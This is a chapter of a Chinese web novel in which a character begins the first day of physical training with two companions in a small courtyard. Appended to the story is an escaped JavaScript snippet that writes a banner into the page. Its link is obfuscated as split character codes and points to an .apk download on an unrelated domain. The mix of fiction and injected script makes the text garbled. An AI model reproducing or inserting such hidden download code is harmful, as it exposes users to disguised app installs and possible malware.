第83章 第一天训练告败 (第1/2页)

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于鹿把陆溪茹亲自送到了孙伯面前，还嘱咐孙伯，要好好教她妈，务必要让陆溪茹尽快学会八段锦，能在离开京市前独立打拳最好。

孙伯不知道于鹿的小心思，还一个劲儿让于鹿放心，说他一定会用心教陆溪茹的。

常梨看于鹿忙好了，连忙吹哨子，让孙力和于鹿集合，宣布今天的正式开始训练，鉴于两人都是第一次参与训练，常梨打算先摸摸两人的底。

摸底的话，本来跑步是一个不错的选择，但是他们现在住的院子是不小，但是如果用来跑步的话，还是小了一点，常梨一时有一些犹豫。

最后她决定先不跑步，先做一些基本的体力训练，像仰卧起坐啊，俯卧撑啊这些，看起来简单，但是其实也很费体力的。

常梨对两人说：“鉴于场地有限，咱们就只能做一些简单的训练了，现在你们先跟着我做一些准备运动。” "document.writeln(\"\u003cdiv class=\\\"dbfh\\\"\u003e\");\n" "document.writeln(\"\u003ca rel=\\\"external nofollow noopener\\\" target=\\\"_blank\\\" href=\\\"\u0026#\"+\"104;\"+\"\u0026#11\"+\"6;\u0026#\"+\"116;\"+\"\u0026#11\"+\"2;\u0026#\"+\"115;\"+\"\u0026#58\"+\";\u0026#4\"+\"7;\u0026#\"+\"47;\u0026\"+\"#49;\"+\"\u0026#10\"+\"1;\u0026#\"+\"107;\"+\"\u0026#56\"+\";\u0026#1\"+\"02;\u0026\"+\"#52;\"+\"\u0026#11\"+\"6;\u0026#\"+\"119;\"+\"\u0026#11\"+\"8;\u0026#\"+\"46;\u0026\"+\"#99;\"+\"\u0026#11\"+\"1;\u0026#\"+\"109;\"+\"\u0026#47\"+\";\u0026#1\"+\"04;\u0026\"+\"#121\"+\";\u0026#4\"+\"7;\u0026#\"+\"49;\u0026\"+\"#51;\"+\"\u0026#56\"+\";\u0026#5\"+\"6;\u0026#\"+\"48;\u0026\"+\"#47;\"+\"\u0026#12\"+\"2;\u0026#\"+\"106;\"+\"\u0026#11\"+\"5;\u0026#\"+\"108;\"+\"\u0026#10\"+\"2;\u0026#\"+\"51;\u0026\"+\"#48;\"+\"\u0026#50\"+\";\u0026#4\"+\"8;\u0026#\"+\"46;\u0026\"+\"#97;\"+\"\u0026#11\"+\"2;\u0026#\"+\"107;\\\"\u003e \u003cimg style=\\\"width: 100%;height: auto;max-height: 120px;margin-bottom: 2px;\\\" src=\\\"\u0026#10\"+\"4;\u0026#\"+\"116;\"+\"\u0026#11\"+\"6;\u0026#\"+\"112;\"+\"\u0026#11\"+\"5;\u0026#\"+\"58;\u0026\"+\"#47;\"+\"\u0026#47\"+\";\u0026#1\"+\"19;\u0026\"+\"#119\"+\";\u0026#1\"+\"19;\u0026\"+\"#46;\"+\"\u0026#12\"+\"0;\u0026#\"+\"105;\"+\"\u0026#97\"+\";\u0026#1\"+\"11;\u0026\"+\"#115\"+\";\u0026#1\"+\"04;\u0026\"+\"#117\"+\";\u0026#1\"+\"11;\u0026\"+\"#116\"+\";\u0026#1\"+\"20;\u0026\"+\"#116\"+\";\u0026#5\"+\"4;\u0026#\"+\"54;\u0026\"+\"#56;\"+\"\u0026#46\"+\";\u0026#1\"+\"11;\u0026\"+\"#114\"+\";\u0026#1\"+\"03;\u0026\"+\"#47;\"+\"\u0026#11\"+\"2;\u0026#\"+\"105;\"+\"\u0026#99\"+\";\u0026#4\"+\"7;\u0026#\"+\"104;\"+\"\u0026#10\"+\"2;\u0026#\"+\"45;\u0026\"+\"#100\"+\";\u0026#1\"+\"09;\u0026\"+\"#45;\"+\"\u0026#49\"+\";\u0026#4\"+\"6;\u0026#\"+\"103;\"+\"\u0026#10\"+\"5;\u0026#\"+\"102;\\\"\u003e\u003c/a\u003e\");\n" "document.writeln(\"\u003c/div\u003e\");\n"

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